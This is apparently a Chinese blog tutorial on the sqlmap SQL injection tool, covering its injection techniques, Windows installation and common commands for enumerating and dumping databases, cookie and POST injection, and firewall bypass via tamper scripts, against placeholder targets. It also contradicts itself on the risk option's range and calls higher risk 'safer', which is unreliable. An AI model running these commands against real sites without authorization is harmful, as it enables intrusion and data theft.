sqlmap 简介
sqlmap 是一个自动化的 SQL 注入工具,主要功能是扫描、发现并利用给定 url 的 sql 注入漏洞,内置了很多绕过插件,支持的数据库是 MySQL、Oracle、PostgreSQL、Microsoft SQL server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase 和 SAP MaxDB。
sqlmap 采用的 sql 注入技术:

  1. -基于布尔类型的盲注。可以工具返回页面判断条件真假的注入。
  2. -基于时间的盲注。不能工具页面返回内容判断任何信息,要用条件语句查看时间延迟语句是否被执行来判断。
  3. 基于报错注入。页面会返回错误信息,或者把注入的语句结果直接返回到页面中。
  4. 联合查询注入。可以使用 union 的情况下的注入。
  5. 堆查询注入。可以执行多条语句时的注入。

sqlmap 的安装
sqlmap 的安装需要 python 的环境,并且不支持 python3 ,python2 可直接到搜索下载安装。
如果已经装了 python3 不想卸载,可以有两者兼容的方法:

https://blog.csdn.net/Goodric/article/details/115646211?spm=1001.2014.3001.5501

sqlmap官网下载 :http://sqlmap.org/
点击下载压缩包。
图片-1690649477660
将文件解压在 python 的安装路径下。
如我的是在 E 盘的 Python27 文件夹下。
图片-1690650586861
然后进入sqlmap目录下,执行cmd命令
为了方便,我们可以在桌面右键创建一个快捷方式。
对象位置填写 cmd 。
图片-1690649716158
图片-1690649750056
图片-1690649765430
这样点击快捷方式就已经在路径下了,不用每次 cd 进入文件路径。
然后输入命令:sqlmap.py
可以看到 sqlmap 成功运行了。
我这里因为同时装了 python2 和python3 ,所以需要在语句前加上 python2 ,不然系统无法自己识别。
所以后面的命令测试都在前面加了 python2 ;如果只装了一个 python2 而没有装 python3 ,就可以不用加,直接 sqlmap.py 后面接命令。
图片-1690650430976

sqlmap常见指令
1、注入六连:

  1. sqlmap.py -u “http://www.xx.com?id=x” 【查询是否存在注入点

  2. --dbs         【检测站点包含哪些数据库
    
  3. --current-db    【获取当前的数据库名
    
  4. --tables -D "db_name"  【获取指定数据库中的表名 -D后接指定的数据库名称
    
  5. --columns  -T "table_name" -D "db_name"  【获取数据库表中的字段
    
  6. --dump -C "columns_name" -T "table_name" -D "db_name"  【获取字段的数据内容
    

2#、COOKIE注入:
sqlmap.py -u “http://www.xx.com?id=x” --cookie “cookie” --level 2 【cookie注入 后接cookie值,
–level=LEVEL 执行的测试级别(1-5, 默认 1)
–risk=RISK 执行测试的风险 (1-3, 默认 1)

3#、POST注入:

(1)目标地址http:// www.xxx.com /login.asp
(2)打开brup代理。
(3)点击表单提交
(4)burp获取拦截信息(post)
(5)右键保存文件(.txt)到指定目录下
(6)运行sqlmap并执行如下命令:
用例:sqlmap.py -r okay.txt  -p  username

// -r表示加载文件(及步骤(5)保存的路径),-p指定参数(即拦截的post请求中表单提交的用户名或密码等name参数)

(7)自动获取表单:--forms自动获取表单

例如:sqlmap.py -u www.xx.com/login.asp --forms

(8)指定参数搜索:--data

例如:sqlmap.py -u www.xx.com/login.asp --data "username=1"

4#、常用指令:

1.    --purge      【重新扫描(--purge 删除原先对该目标扫描的记录)

2.    --tables      【获取表名

3.     --dbs         【检测站点包含哪些数据库

4.     --current-db    【获取当前的数据库名

5.     --current-user  【检测当前用户

6.    --is-dba   【判断站点的当前用户是否为数据库管理员

7.    --batch      【默认确认,不询问你是否输入

8.    --search  【后面跟参数 -D -T -C 搜索列(C),表(T)和或数据库名称(D)

9.    --threads 10  【线程,sqlmap线程最高设置为10

10.  --level 3        【sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头
                            的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高为5
11.  --risk 3           【执行测试的风险(0-3,默认为1)risk越高,越慢但是越安全

12.     -v   【详细的等级(0-6)
     	 0:只显示Python的回溯,错误和关键消息。
    	 1:显示信息和警告消息。
    	 2:显示调试消息。
     	 3:有效载荷注入。
     	 4:显示HTTP请求。
     	 5:显示HTTP响应头。
    	 6:显示HTTP响应页面的内容

13.    --privileges  【查看权限

14.   --tamper xx.py,cc.py   【防火墙绕过,后接tamper库中的py文件

15.  --method "POST" --data "page=1&id=2"   【POST方式提交数据

16.  --threads number  【采用多线程 后接线程数

17.  --referer  ""  【使用referer欺骗

18.  --user-agent ""     【自定义user-agent

19.  --proxy “目标地址″   【使用代理注入